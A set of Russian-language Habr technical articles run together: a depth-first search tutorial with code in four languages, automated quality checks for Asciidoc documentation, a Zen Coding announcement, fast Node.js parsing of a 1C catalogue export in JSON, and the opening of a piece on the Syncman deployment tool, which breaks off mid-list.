Стандартная реализация поиска в глубину помещает каждую вершину (узел, node) графа в одну из двух категорий:
1. Пройденные (Visited).
2. Не пройденные (Not Visited).
Цель алгоритма состоит в том, чтобы пометить каждую вершину как “Пройденная”, избегая при этом циклов.
Алгоритм поиска в глубину работает следующим образом:
1. Начните с того, что поместите любую вершину графа на вершину стека.
2. Возьмите верхний элемент стека и добавьте его в список “Пройденных”.
3. Создайте список смежных вершин для этой вершины. Добавьте те вершины, которых нет в списке “Пройденных”, в верх стека.
4. Необходимо повторять шаги 2 и 3, пока стек не станет пустым.
### Пример реализации поиска в глубину
Предлагаю рассмотреть на примере, как работает алгоритм поиска в глубину. Мы будем использовать неориентированный граф с пятью вершинами.
Неориентированный граф с пятью вершинамиНачнем мы с вершины “0”. В первую очередь алгоритм поиска в глубину поместит ее саму в список “Пройденные” (на изображении “Visited”), а ее смежные вершины — в стек.
Выберите элемент (вершину) и поместите его в список “Пройденные”.Затем мы берем следующий элемент сверху стека, т.е. к вершину “1”, и переходим к ее соседним вершинам. Поскольку вершина “0” уже пройдена, следующая вершина “2”.
Обход элемента на вершине стека.Вершина “2” смежна непройденной вершине “4”, следовательно мы добавляем ее наверх стека и проходим ее.
Вершина “2” смежна непройденной вершине “4”, следовательно мы помещаем ее в верх стека.Добавляем вершину “4” в список “Пройденные” после прохождения.После того, как мы пройдем последний элемент (вершину “3”), в стеке не останется непройденных смежных вершин, и таким образом мы завершили обход графа в глубину.
После проверки всех смежных вершин для вершины “3” стек остался пустым, а значит алгоритм обхода графа в глубину завершил свою работу.### Псевдокод поиска в глубину (рекурсивная реализация)
Ниже представлен псевдокод для алгоритма поиска в глубину. Обратите внимание, что в функции init() необходимо запускать функцию DFS на каждой вершине. Это связано с тем, что граф может иметь две разные несвязанные части, поэтому для того, чтобы убедиться, что мы покрываем каждую вершину, мы должны запускать алгоритм поиска в глубину на каждой вершине.
```
DFS(G, u)
u.visited = true
for each v ∈ G.Adj[u]
if v.visited == false
DFS(G,v)
init() {
For each u ∈ G
u.visited = false
For each u ∈ G
DFS(G, u)
}
```
### Реализация поиска в глубину на Python, Java и C/C++
Ниже приведены примеры реально кода алгоритма поиска в глубину. Код был упрощен, чтобы мы могли сфокусироваться на самом алгоритме, а не на других деталях.
```
# Алгоритм поиска в глубину на Python
# Алгоритм
def dfs(graph, start, visited=None):
if visited is None:
visited = set()
visited.add(start)
print(start)
for next in graph[start] - visited:
dfs(graph, next, visited)
return visited
graph = {'0': set(['1', '2']),
'1': set(['0', '3', '4']),
'2': set(['0']),
'3': set(['1']),
'4': set(['2', '3'])}
dfs(graph, '0')
```
```
// Алгоритм поиска в глубину на Java
import java.util.*;
class Graph {
private LinkedList adjLists[];
private boolean visited[];
// Создание графа
Graph(int vertices) {
adjLists = new LinkedList[vertices];
visited = new boolean[vertices];
for (int i = 0; i < vertices; i++)
adjLists[i] = new LinkedList();
}
// Добавление ребер
void addEdge(int src, int dest) {
adjLists[src].add(dest);
}
// Алгоритм
void DFS(int vertex) {
visited[vertex] = true;
System.out.print(vertex + " ");
Iterator ite = adjLists[vertex].listIterator();
while (ite.hasNext()) {
int adj = ite.next();
if (!visited[adj])
DFS(adj);
}
}
public static void main(String args[]) {
Graph g = new Graph(4);
g.addEdge(0, 1);
g.addEdge(0, 2);
g.addEdge(1, 2);
g.addEdge(2, 3);
System.out.println("Following is Depth First Traversal");
g.DFS(2);
}
}
```
```
// Алгоритм поиска в глубину на C
#include
#include
struct node {
int vertex;
struct node\* next;
};
struct node\* createNode(int v);
struct Graph {
int numVertices;
int\* visited;
// Нам нужен int\*\* для хранения двумерного массива.
// Аналогично, нам нужна структура node\*\* для хранения массива связанных списков.
struct node\*\* adjLists;
};
// Алгоритм
void DFS(struct Graph\* graph, int vertex) {
struct node\* adjList = graph->adjLists[vertex];
struct node\* temp = adjList;
graph->visited[vertex] = 1;
printf("Visited %d \n", vertex);
while (temp != NULL) {
int connectedVertex = temp->vertex;
if (graph->visited[connectedVertex] == 0) {
DFS(graph, connectedVertex);
}
temp = temp->next;
}
}
// Создание вершины
struct node\* createNode(int v) {
struct node\* newNode = malloc(sizeof(struct node));
newNode->vertex = v;
newNode->next = NULL;
return newNode;
}
// Создание графа
struct Graph\* createGraph(int vertices) {
struct Graph\* graph = malloc(sizeof(struct Graph));
graph->numVertices = vertices;
graph->adjLists = malloc(vertices \* sizeof(struct node\*));
graph->visited = malloc(vertices \* sizeof(int));
int i;
for (i = 0; i < vertices; i++) {
graph->adjLists[i] = NULL;
graph->visited[i] = 0;
}
return graph;
}
// Добавление ребра
void addEdge(struct Graph\* graph, int src, int dest) {
// Проводим ребро от начальной вершины ребра графа к конечной вершине ребра графа
struct node\* newNode = createNode(dest);
newNode->next = graph->adjLists[src];
graph->adjLists[src] = newNode;
// Проводим ребро из конечной вершины ребра графа в начальную вершину ребра графа
newNode = createNode(src);
newNode->next = graph->adjLists[dest];
graph->adjLists[dest] = newNode;
}
// Выводим граф
void printGraph(struct Graph\* graph) {
int v;
for (v = 0; v < graph->numVertices; v++) {
struct node\* temp = graph->adjLists[v];
printf("\n Adjacency list of vertex %d\n ", v);
while (temp) {
printf("%d -> ", temp->vertex);
temp = temp->next;
}
printf("\n");
}
}
int main() {
struct Graph\* graph = createGraph(4);
addEdge(graph, 0, 1);
addEdge(graph, 0, 2);
addEdge(graph, 1, 2);
addEdge(graph, 2, 3);
printGraph(graph);
DFS(graph, 2);
return 0;
}
```
```
// Алгоритм прохода в глубину в C++
#include
#include
using namespace std;
class Graph {
int numVertices;
list \*adjLists;
bool \*visited;
public:
Graph(int V);
void addEdge(int src, int dest);
void DFS(int vertex);
};
// Инициализация графа
Graph::Graph(int vertices) {
numVertices = vertices;
adjLists = new list[vertices];
visited = new bool[vertices];
}
// Добавление ребер
void Graph::addEdge(int src, int dest) {
adjLists[src].push\_front(dest);
}
// Алгоритм
void Graph::DFS(int vertex) {
visited[vertex] = true;
list adjList = adjLists[vertex];
cout << vertex << " ";
list::iterator i;
for (i = adjList.begin(); i != adjList.end(); ++i)
if (!visited[\*i])
DFS(\*i);
}
int main() {
Graph g(4);
g.addEdge(0, 1);
g.addEdge(0, 2);
g.addEdge(1, 2);
g.addEdge(2, 3);
g.DFS(2);
return 0;
}
```
#### Сложность алгоритма поиска в глубину
Временная сложность алгоритма поиска в глубину представлена в виде O(V + E), где V — количество вершин, а E — количество ребер.
Пространственная сложность алгоритма равна O(V).
#### Применения алгоритма
1. Для поиска пути.
2. Для проверки двудольности графа.
3. Для поиска сильно связанных компонентов графа.
4. Для обнаружения циклов в графе.
---
Приглашаем всех желающих на открытый урок в OTUS «Теория графов. Термины и определения. Основные алгоритмы», регистрация доступна [по ссылке](https://otus.pw/02ci/). | https://habr.com/ru/post/660725/ | null | ru | null |
# Автоматический контроль качества документации в Asciidoc или DocOps для Хабра
Один из шагов выпуска документации — это применение алгоритмов автоматического контроля качества. Часть подходов будет применима только к документации ИТ-продуктов, часть — к любым видам документации.
Для примеров использована [сама статья](https://github.com/fiddlededee/asciidoc-quality-gates). В репозитории есть ссылки на автоматически публикуемые варианты статьи в различных форматах, в том числе [в формате Хабра](https://fiddlededee.github.io/asciidoc-quality-gates/statqya.md) и [с рамкой ЕСКД](https://fiddlededee.github.io/asciidoc-quality-gates/statqya.pdf).
Обратите внимание, в новой версии редактора Хабр некорректно происходит вставка списков. Лучше использовать старую версию.
Точка применения алгоритмов контроля качества документации
==========================================================
Документация — это совокупность данных и документов. Используя для создания документации такие инструменты, как Asciidoc, мы предполагаем, что данные для построения документов хранятся в одном или нескольких репозиториях, точно так же, как обычный программный код.
При любом изменении документации в репозитории обязательна проверка качества документов, которые выпускаются на основе данных репозитория. При ручной проверке документов этот процесс затратен и ограничен. А автоматические тесты можно проводить практически в любом объеме.
Если документация расположена в нескольких репозиториях, должен быть отдельный репозиторий с набором совместимых версий документации. При изменении этих версий необходимо проверить согласованность данных во всех репозиториях.
Если мы говорим о документировании ИТ-системы, программный код является элементом документации, на него распространяется указанное правило. Код и документацию следует проверить на согласованность.
Указанные проверки обычно производят в момент добавления данных в репозитории при помощи систем контроля версий. Мы используем Github и Gitlab и встроенные в эти системы CI/CD-инструменты. В сложных случаях дополнительно используем Jenkins.
Фреймворк тестирования
======================
При тестировании документации основные инструменты проверки обычно запускают вне фреймворка тестирования, например, с помощью интерфейса командной строки (`cli`). Фреймворк тестирования проверяет результаты работы этих инструментов. Поэтому для тестирования документации подходят любые фреймворки, чаще всего определяемые экосистемой документируемой программы (информационной системы). В своих статьях я делаю примеры с использованием инструментов экосистемы Ruby, т.к. сам Asciidoctor написан на Ruby, поэтому в статье будет использована библиотека [minitest](https://github.com/seattlerb/minitest).
Проверка оформления исходных файлов в формате Asciidoc
======================================================
Насколько мне известно, для проверки оформления исходных файлов в формате Asciidoc поддерживаемых проектов нет.
Мы используем простейшие проверки при помощи регулярных выражений.
Ключевое слово `describe` описывает содержание каждой проверки.
```
describe "The source file " do
before do
@isxodnyj_fajl = File.read("statqya.adoc")
end
it "should not contain more than one line break" do
assert_nil @isxodnyj_fajl.match('\n\n\n')
end
it "should not contain whitespaces" do
assert_nil @isxodnyj_fajl.match(' \n')
end
it "should contain only linux line breaks" do
assert_nil @isxodnyj_fajl.match('\r\n')
end
it "should contain empty lines after headings" do
assert_nil @isxodnyj_fajl.match('^[=]{2,}.*\n[^\n]')
end
end
```
Проверка содержания текста (грамматика, орфография и т.п.)
==========================================================
Исходные файлы или выходные документы?
--------------------------------------
Проверять содержание текста можно как в исходных файлах, так и в выходных. С моей точки зрения, в большинстве случаев проверять имеет смысл именно выходные документы, а не исходные файлы Asciidoc. Например, в Asciidoc активно используют атрибуты и может возникнуть ситуация, при которой ошибка будет пропущена:
```
:document: документ
{document}овация
```
В исходном документе ошибки нет, а вот выходное слово `документовация` ошибку содержит.
Все ли понимают Asciidoc
------------------------
Существует множество готовых инструментов, которыми можно проверять текстовые документы: например, [vale](https://github.com/errata-ai/vale), [textlint](https://github.com/textlint/textlint), [Aspell](http://aspell.net/), [LanguageTool](https://languagetool.org/).
Часть из этих инструментов поддерживают синтаксис Asciidoc. Но степень этой поддержки разная. Asciidoctor — самый богатый язык среди языков текстовой разметки, реализация в перечисленных средствах поддержки синтаксиса Asciidoctor может быть неполной или вообще неверной с точки зрения ваших требований к тексту.
Обычно, подобные проблемы легко преодолеть. Например, для `textlint` есть [плагин](https://github.com/seikichi/textlint-plugin-asciidoctor), представление элементов в объектном дереве `textlint` определено в [этом файле](https://github.com/seikichi/textlint-plugin-asciidoctor/blob/master/src/parse.js). Его можно легко поменять. Но иногда самой модели `textlint` может не хватить для проведения всех необходимых видов тестирования.
Как я уже говорил проверять статическим анализатором лучше выходные документы. В Asciidoctor нет встроенной функции, которая превращает исходники в формате Asciidoc в составной Asciidoc-файл. Но Дэн Аллен сделал [специальный скрипт](https://github.com/asciidoctor/asciidoctor-extensions-lab/blob/master/scripts/asciidoc-coalescer.rb), который справляется с данной задачей.
Использование шаблонов Asciidoctor
----------------------------------
Альтернативный способ подключения к Asciidoctor любых статических анализаторов — это превращение документа в текстовый файл. При этом появляется возможность размещать в данный файл дополнительную информацию, которая позволит понять, в каких исходниках произошла ошибка.
Для того, чтобы извлечь текст для проверки, Asciidoc поддерживает механизм шаблонов. Наименование папки с шаблонами передают в ключе `-t`.
Например, в следующем примере показан шаблон `inline_quoted.slim`, который помещает в файл только куски текста, не содержащие роль `no-spell`.
```
- if " #{role} " !~ / no-spell /
=text
```
Далее в примере показано использование утилиты `aspell` непосредственно для выполнения функции проверки.
```
docker run --rm -v $(pwd):/documents/ curs/asciidoctor-od asciidoctor \
statqya.adoc -b spell -o statqya.spell -T slim/base -T slim/spell
cat statqya.spell | sed "s/-/ /g" | \
aspell --master=ru --personal=./dict list > misspelled-list
```
Само тестирование можно выполнить следующим образом:
```
describe "Final document " do
...
it "has no typos " do
assert_equal File.read('misspelled-list'), ''
end
...
end
```
Тест, написанный таким образом, удобен тем, что в выводе `minitest` будет информация об ошибочно написанных словах:
```
1) Failure:
Final document #test_0001_has no typos [test.rb:30]:
— expected
+++ actual
@@ -1,3 +1 @@
-"Адин
-шогов
-"
+""
```
Аналогичный подход можно использовать для реализации всевозможных самостоятельных проверок — отсутствие запрещенных слов, запрет параграфов, задаваемых несколькими строками и т.п.
Последняя проверка заслуживает отдельного внимания, т.к. её отсутствие — частый источник ошибок. Рассмотрим следующий пример.
```
Я
иду
в магазин
```
Поскольку перенос строки заменяется на пробел, параграф правильно отобразится в конечном документе. Следующий пример, оформленный аналогичным образом, уже приведёт к ошибке.
```
Неправильно оформленный список:
* Первый пункт
* Второй пункт
```
Так как после первого предложения отсутствует пустая строка, на выходе получится:
```
Неправильно оформленный список: * Первый пункт * Второй пункт
```
Запретить такое оформление достаточно просто. В шаблоне `paragraph.slim` необходимо указать, что в выходной файл выводится исходный текст параграфа (`source`):
```
="\n" + source + "\n"
```
В примере к исходному тексту параграфа добавлены два символа переноса строки, чтобы отличать этот (правильный) случай от случая с одним переносом.
И далее в тесте необходимо искать параграфы, в которых есть переносы строк:
```
describe "Final document " do
...
it "is not based on paragraphs with line breaks " do
assert_nil File.read('statqya.break-line').match('[^\n^+][\n][^\n]')
end
...
end
```
Обратите внимание, после знака `+` перенос разрешён, т.к. это специальный синтаксис Asciidoctor, который позволяет вставить в абзац мягкие переносы.
Следующий тест выявляет различные несуразности в тексте.
```
describe "Final document " do
...
it "more or less pretty as a russian text" do
assert_nil File.read('statqya.spell').match('и т\.п\.'), "и{nbsp}т.п."
assert_nil File.read('statqya.spell').match('и т\.д\.'), "и{nbsp}т.д."
assert_nil File.read('statqya.spell').match('[Нн]ужн'), "Нужн... -> Необходим..."
assert_nil File.read('statqya.spell').match('[Оо]однако'), "Однако --> ?"
assert_nil File.read('statqya.spell').match('[ \(](Вы|Вас|Вам)[^а-я]'), "вы, вас, вам"
assert_nil File.read('statqya.spell').match('Если[^\.]*, то'),
"Если.. то, -- не программирование"
end
...
end
```
Встроенные проверки Asciidoctor
===============================
Asciidoctor содержит собственные механизмы проверки. Для этого его необходимо запустить в режиме `Verbose`. Самые типовые выявляемые ошибки — битые ссылки внутри документа, нарушенная иерархия заголовков, отсутствие включаемых файлов и т.п. Для этого в командной строке используется ключ `-v`, как в следующем примере.
```
docker run --rm -v $(pwd):/documents/ curs/asciidoctor-od asciidoctor \
statqya.adoc -b docbook -v 2> asciidoctor_log
```
Можно также запустить тестирование из библиотеки `minitest`:
```
describe "Final document " do
...
it "has no Asciidoctor errors " do
assert_equal File.read('asciidoctor_log'), ''
end
...
end
```
Проверка структуры документов при помощи Docbook
================================================
Поскольку Asciidoctor изначально создавался как средство написания документов в формате Docbook, но в простом текстовом формате, то поддержка экспорта в формат Docbook реализована очень качественно.
Docbook — это вариант XML. Для тестирования структуры xml-файлов обычно используют два подхода.
Проверка при помощи схемы документа
-----------------------------------
XML поддерживает несколько стандартов схем документов. На сегодня самый распространенный — xsd-схемы.
Учитывая то, что Asciidoc поддерживает очень много элементов синтаксиса и не каждый конвертер корректно работает со всеми элементами (а Хабр вообще мало, что поддерживает), в примере ограничим используемые элементы параграфами, маркированными списками и врезками кода, также разрешим картинку после заголовка:
```
xml version="1.0" encoding="utf-8"?
```
В тесте проверка выглядит следующим образом:
```
describe "Final document " do
...
it "has correct structure" do
xsd = Nokogiri::XML::Schema(File.read("statqya.xsd"))
doc = Nokogiri::XML(File.read("statqya.xml"))
assert_equal xsd.validate(doc).join("\n"), ''
end
...
end
```
Обычно такой подход применяют к кускам документа. В DITA — есть термин `topic` (тема). В зависимости от типа темы мы можем определять её структуру. Все темы определенного типа будут иметь одинаковую структуру.
Это удобно, если в документации активно используются похожие блоки.
Проверка при помощи xpath-выражений
-----------------------------------
Xpath-выражения — инструмент, который позволяет делать выборки из файлов в формате xml.
Полученную выборку можно проанализировать на соответствие определенным правилам.
Например, в следующем примере мы проверяем, что в элементе списка не может быть более одного абзаца.
Эту задачу можно было бы решить, прописав в предыдущей схеме ограничение на один элемент типа `simpara`, но часто формулировка локальных правил в виде xpath-выражений проще:
```
describe "Final document " do
...
it "contains only list items with only one paragraph per item" do
doc = Nokogiri::XML(File.read("statqya.xml"))
assert_equal doc.xpath("//db:listitem[count(db:simpara) != 1]",
'db' => 'http://docbook.org/ns/docbook').size, 0
end
...
end
```
Этот же подход можно использовать для проверки сложных правил, не описываемых xsd-схемой, например, соответствие списка терминов тексту или работоспособность внешних ссылок:
```
describe "Final document " do
...
it "has no 404 hyperlinks" do
doc = Nokogiri::XML(File.read("statqya.xml"))
erroneous_links = ''
doc.xpath("//db:link/@xl:href",
'db' => 'http://docbook.org/ns/docbook',
'xl' => 'http://www.w3.org/1999/xlink').each do |link_href|
begin
puts link_href.to_s
url = URI.parse(link_href.to_s)
req = Net::HTTP.new(url.host, url.port)
req.use_ssl = (url.scheme == "https")
res = req.request_head(url.path)
rescue SocketError => e
erroneous_links += link_href.to_s + "(#{e})\n"
end
end
assert_equal erroneous_links, ''
end
...
end
```
Проверка соответствия документации коду
=======================================
В статье [Автоматическая генерация технической документации](https://habr.com/ru/post/562108/) рассмотрены инструменты автоматической генерации текстовых фрагментов из кода. Обычно формирование этих фрагментов происходит не в момент сборки документации, а при её подготовке.
Например, вы используете описание различных методов из спецификации OpenAPI. Предположим, есть шаблон, превращающий эту спецификацию в необходимые фрагменты текста. Если спецификация была изменена, необходимо заново сгенерировать соответствующие фрагменты и проверить, что они корректно легли в существующие документы.
В момент сборки имеет смысл проверить, что сформированные фрагменты текста соответствуют текущей версии спецификации. Для этого достаточно запустить генерацию фрагментов и проверить, что полученные файлы полностью совпадают с версиями, которые находятся в проекте документации.
Проверка выходных файлов
========================
Документация представляется пользователю в удобочитаемых форматах, например, html, pdf, odt, docx и т.п.
Если вы используете стандартные конвертеры Asciidoctor, возможно, выходной файл проверять не надо. Но желательно открыть и сохранить файл в нативном приложении. Например, в [моём проекте](https://github.com/CourseOrchestra/asciidoctor-open-document) сделана специальная точка вызова, которая конвертирует файл и автоматически открывает/сохраняет его при помощи LibreOffice Writer. Достаточно проверить, что выходной файл есть.
```
describe "Final document " do
...
it "has an odt output" do
assert File.exists?("statqya.odt")
end
...
end
```
Офисные приложения — Microsoft Word, LibreOffice Writer — иногда портят документы при открытии. Например, Microsoft Word заменяет поля на текст «Ошибка. Закладка не определена». Если такие случаи часты, для исключения целесообразно делать соответствующие проверки.
Выводы
======
* Предложенная технология универсальна и может быть использована для создания любых документов с высоким уровнем требований по качеству, в том числе, статей на Хабре.
* Asciidoc дает много возможностей по проверке качества документации. В совокупности они позволяют проверить оформление исходных файлов, качество текста, структуру документов и т.п.
* Наличие нативного статического анализатора для Asciidoc могло бы значительно упростить процесс задания правил для проверки документации.
* Результат проверки данной статьи — `12 runs, 17 assertions, 0 failures, 0 errors, 0 skips`, а ошибки всё равно есть. [PRs are welcome](https://github.com/fiddlededee/asciidoc-quality-gates). | https://habr.com/ru/post/571326/ | null | ru | null |
# Zen coding — пишем HTML/CSS быстрее
Добрый день смотрим сразу как это работает:
[Zen Coding](http://code.google.com/p/zen-coding/)
[chikuyonok](https://habrahabr.ru/users/chikuyonok/) — Сергей Чикуёнок
[pepelsbey](https://habrahabr.ru/users/pepelsbey/) — Вадим Макеев
Этот способ ускоренного написания HTML и CSS кода разрабатывается [Сергеем Чикуёнком](http://chikuyonok.ru/), который «знает толк в извращениях».
HTML код пишется на CSS манеру:
`div#content>h1+p`
Нажимаем нехитрое комбо на клавиатуре (Ctrl+,) и получаем результат:
`<``div id=``"``content``"``>`
`<``h1``><``/h1``>`
`<``p``><``/p``>`
`<``/div``>`
Первоначальная концепция была предложена Вадимом Макеевым в статье [Zen Coding 2.0. Концепт](http://pepelsbey.net/2009/04/zen-coding-concept/) в апреле 2009 года. Затем Сергей Чикуёнок, занимался развитием этого проекта и сейчас он обрел зрелые формы и очертания.
Попробовать можно все на [демо-странице](http://zen-coding.ru/demo/)
Сайт [Zen Coding](http://zen-coding.ru/) скоро заработает.
**Скачиваем плагины с полной поддержкой:**
* [Aptana](http://code.google.com/p/zen-coding/downloads/detail?name=Zen.Coding-Aptana.v0.5.zip) (cross-platform);
* Coda, via [TEA for Coda](http://github.com/sergeche/tea-for-coda/downloads) (Mac);
* Espresso, via [TEA for Espresso](http://github.com/sergeche/tea-for-espresso/downloads) (Mac);
**И частичной поддержка:**
* [TextMate](http://code.google.com/p/zen-coding/downloads/detail?name=Zen%20Coding%20for%20TextMate%20v0.3.1.zip) (Mac, и может работать с E-text для Windows);
* [TopStyle](http://zen-coding.googlecode.com/files/TopStyle.Zen.Coding.1.1.zip);
* [Sublime Text](http://code.google.com/p/zen-coding/downloads/detail?name=Sublime.Zen.Coding.1.1.3.zip);
* [GEdit](http://www.kryogenix.org/days/2009/09/21/zen-coding-for-gedit);
* [editArea](http://zen-coding.ru/demo/) online редактор;
* [Dreamweaver](http://zen-coding.googlecode.com/files/Zen.Coding-Dreamweaver.v0.3.zip)
* [UltraEdit](http://www.ultraedit.com/forums/viewtopic.php?f=52&t=8819)
* [Visual Studio](http://tech.einaregilsson.com/2009/11/12/zen-coding-visual-studio-addin/)
Статья «[Zen Coding: A Speedy Way To Write HTML/CSS Code](http://www.smashingmagazine.com/2009/11/21/zen-coding-a-new-way-to-write-html-code/#more-16072)» взята с smashingmagazine.com, кому интересно там есть продолжение с примерами, но я думаю из видео итак многое понятно.
P.S. По поводу частичная не частичная поддержка, пишите в комментариях.
**Update (выдержки из комментариев):**
[pepelsbey](https://habrahabr.ru/users/pepelsbey/)
Кстати, у проекта есть официальный твиттер: @[zen\_coding](http://twitter.com/zen_coding)
[batonius](https://habrahabr.ru/users/batonius/)
Все тоже, плюс есть предпросмотр результата в процессе набора.
[www.emacswiki.org/emacs/ZenCoding](http://www.emacswiki.org/emacs/ZenCoding)
А вот [демка](http://www.youtube.com/watch?v=u2r8JfJJgy8)
[crizis](https://habrahabr.ru/users/crizis/)
[Описание функций на русском](http://code.google.com/p/zen-coding/wiki/ZenHTMLElementsRu)
Ваш Николай из [Компании M2](http://m2web.ru) | https://habr.com/ru/post/76069/ | null | ru | null |
# Node.JS и выгрузка каталога из 1С на сайт
На днях закрыли очередной проект. Суть: создание новой версии интернет-каталога. Старая версия сайта, в силу ряда причин, клиента не устраивала. Особенностью проекта была его номенклатурная база. Объём номенклатуры каталога составлял ~26000 позиций раскиданных по дереву из 513 узлов + характеристики товара. Почти каждая номенклатурная позиция имела описание на 1-2К текста.
Файл выгрузки каталога в формате [ComerceML 2](http://v8.1c.ru/edi/edi_stnd/90/92.htm) для старого сайта весил 104 MB. Формировался на стороне 1С 10 минут и после передачи на хостинг, парсился на стороне сайта полтора часа (!) со 100% загрузкой CPU.
#### Выход из ситуации
В качестве альтернативы XML формату решили выгрузить в JSON. Идея была в том, чтобы попробовать разобрать JSON чем-то, что имеет нативную реализацию парсера, а именно node.js с его JSON.parse().
Наш 1С-ник, разобравшись с новым для него форматом, в несколько итераций добился того, что выгрузка 1С формировала валидный JSON. Время формирования выгрузки сократилось с 10 до 3.5 минут. Те же данные которые в XML формате занимали 104 мегабайта, уместились в 58 мегабайт JSON. Но это было ожидаемо, неожиданностью стало другое…
Для тестирования времени разбора выгрузки я набросал тестовый код:
```
// Node.js
var fs = require('fs');
function parser(filename, callback){
fs.readFile(filename, { encoding:'utf8' }, function(err, dataFromFile){
var parsedData;
if(err){
callback(err);
} else {
try {
console.time('parse data'); // парсинг - синхронная операция...
parsedData = JSON.parse(dataFromFile.toString().trim()); // <- собственно сам парсинг.
console.timeEnd('parse data'); // ... поэтому измеряем задержку "в лоб".
callback(null, parsedData );
}
catch (e){
callback(e)
}
}
});
}
parser('../import/import.json', function(err, data){
if(err){
throw (err);
}
console.log('groups', data.groups.length);
console.log('items', data.items.length);
console.log('properties', data.properties.length);
});
```
Запустив его на своей машине (CPU 3.3GHz), я даже не успел привстать чтобы пойти за чаем. Результат и скорость с которой он был выведен в консоль, заставил меня предположить, что в коде баг и он не отработал корректно…
> > node parse.js
>
>
>
> **parse data: 718ms**
>
> groups 513
>
> items 26098
>
> properties 149
>
>
Но это был не баг. Данные действительно были разобраны и помещены в память за ⅔ секунды. Количество элементов в коллекциях полностью совпадало с заявленным количеством в 1С. Оставалось только найти под столом отпавшую челюсть и написать сервис с полным циклом обработки данных.
#### Общая архитектура сервиса обработки выгрузки
В целом выгрузка на сайт отрабатывает по стандартной схеме:
* формирование выгрузки из 1С и его упаковка архиватором;
* загрузка сформированных файлов по FTP;
* вызов обработчика выгрузки по HTTP;
Сервис обработчика выгрузки реализован по схеме:
1. распаковывать архив;
2. распарсить JSON;
3. сообщить в HTTP ответе что всё впорядке или произошла ошибка;
4. если всё хорошо — выставить флаг занятости и заливать данные в базу до победного конца;
5. умереть очистив память.
6. …
7. Возродиться новым процессом — за это отвечает [Monit](http://habrahabr.ru/post/73506/).
На продакшене ([DigitalOcean, тариф за $10](https://www.digitalocean.com/pricing)), с момента вызова и до пункта 3 сервис отрабатывает в целом через 3-4 секунды, после чего повторный вызов сервиса будет возвращать флаг занятости пока заливается база. Весь цикл обработки выгрузки с занесением данных в базу составляет 80 — 90 секунд. Загрузка процессора в момент парсинга выглядит как единичный пик до 70% с основанием в 10 — 30%.
В итоге:
* время формирования выгрузки сократилось с 10 до 3.5 минут;
* объём выгрузки сократился со 104 до 58 мегабайт (1.5 мегабайта после архивации);
* полное время обработки выгрузки на стороне сервера сократилось с полутора часов до полутора минут;
* ???????
* PROFIT
#### P.S. Средство от головной боли при отладке.
При всей своей скорости JSON.parse() очень неудобен для отладки. В случае наличия ошибки в структуре JSON, вы получаете практически ноль отладочной информации. Пока ваш 1С специалист осваивает JSON, очень выручает модуль [JSON Lint](https://github.com/zaach/jsonlint). Он может быть использован как отдельная утилита или в качестве библиотеки. В отличии от штатного парсера он сообщает в объект исключения номер строки JSON-файла где произошло недоразумение, что при разборе косяков в файле в десятки мегабайт кардинально облегчает жизнь. Цена за такое удобство — скорость. Она упадёт в 5-7 раз по сравнению с нативным JSON.parse().
Тот же тестовый код с JSON Lint будет выглядеть так:
```
// Node.js
var fs = require('fs'),
jsonlint = require("jsonlint"); // Очень полезен на этапе отладки
function parser(filename, callback){
fs.readFile(filename, { encoding:'utf8' }, function(err, dataFromFile){
var parsedData;
if(err){
callback(err);
} else {
try {
console.time('parse data'); // парсинг - синхронная операция...
/* Используем Jsonlint если нам нужна более подробная информация о месте ошибки в структуре JSON.
* Работает медленнее в 5-7 раз чем нативный JSON.parse().
*/
parsedData = jsonlint.parse(dataFromFile); // тот же парсинг, но с дебагом и поэтессами.
console.timeEnd('parse data'); // ... поэтому измеряем задержку "в лоб".
callback(null, parsedData );
}
catch (e){
callback(e)
}
}
});
}
parser('../import/import.json', function(err, data){
if(err){
throw (err);
}
console.log('groups', data.groups.length);
console.log('items', data.items.length);
console.log('properties', data.properties.length);
});
```
В заключение хочу традиционно пожелать, чтобы этот материал был ещё кому-нибудь полезен также как был полезен нам. | https://habr.com/ru/post/189812/ | null | ru | null |
# Syncman — развертывание и синхронизация проектов на удаленном сервере
Прежде, чем начать свой рассказ, задам один маленький вопрос: Как вы разворачиваете свои проекты сервере?
Если вами управляется один маленький сайтик на бесплатном виртуальном хостинге, то проблемы синхронизации у вас не возникают — подключился по ftp, скопировал файлы и все. А если нужно контролировать развертывание нескольких сотен проектов (от маленьких сайтов визиток до нагруженных приложений), над которыми трудится не один десяток людей? Если позволяет квалификация, то можно использовать rsync, unison и др. Особо отчаянные могут просто обновлять рабочую копию проекта (svn, git и тд.) из репозитория. А что будут делать десятки художников, которым срочно нужно поправить вот ту маленькую картинку? Ведь для многих из них консоль — волшебный темный дремучий лес.
Под катом описание одного решения, позволяющего сильно упростить процесс развертывания приложений.
###### Страна должна знать своих героев
Проект Syncman уже имеет довольно большую историю, но, как мне кажется, свою актуальность до сих по не потерял. Спасибо [pachanga](http://habrahabr.ru/users/pachanga/), [korchasa](http://habrahabr.ru/users/korchasa/), [romankitaev](http://habrahabr.ru/users/romankitaev/),[wIliam](http://habrahabr.ru/users/wiliam/), [dbrain](http://habrahabr.ru/users/dbrain/) и др., кого не смог найти на Хабре. Все это действующие и бывшие сотрудники компании [БИТ Creative](#bit). Благодаря им этот проект появился и до сих пор живет. Работая с ними, я многому научился.
###### Виновник торжества
Сегодня под прицелом замечательный opensource проект [Syncman](#syncman).
[Syncman](#syncman) ставит себе главной целью облегчить синхронизацю удаленных проектов так, чтобы даже люди далекие от программирование (например, художники, дизайнеры, менеджеры и др.) могли самостоятельно синхронизировать проекты с удаленными серверами.
Syncman имеет отличные Web и консольный интерфесы. Ниже приведены скриншоты Web-интерфейса Syncman.
Ничего лишнего. Список проектов, разбитый по группам. Для каждого проекта, кнопочки синхронизировать, посмотреть изменения, откатить изменения. При выборе определенного проекта, можно посмотреть его текущие настройки. Если проект синхронизирован, то он выделен зеленым цветом. Если были новые коммиты, которых нет на удаленном сервере, то цвет — красный.
После настройки проекта его синхронизация сводится к следующей последовательности действий:
1. Изменил проект
2. Сделал коммит в репозиторий
3. Нажал в Web-интерфейсе Syncman кнопочку «Синхронизировать проект»
Со временем к этому сильно привыкаешь, например, я синхронизирую примерно так:
```
.....
svn commit -m "my changes"
syncman project_to_sync
```
Все проект синхронизирован.
###### Что делает Syncman во время синхронизации?
Синхронизация проходит в 4 основных этапа:
1. Проект выбирается или обновляется из репозитория во временную папку на сервере Syncman, где-то в локальной сети.
2. Выполняется команда presync\_cmd, задаваемая в настройках проекта. На этой стадии подготавливается макет для развертывания. К примеру, presync\_cmd может удалить файлы, которым на удаленном сервере делать нечего: например, можно удалит временные каталоги, ненужные дизайны, файлы модульных тестов.
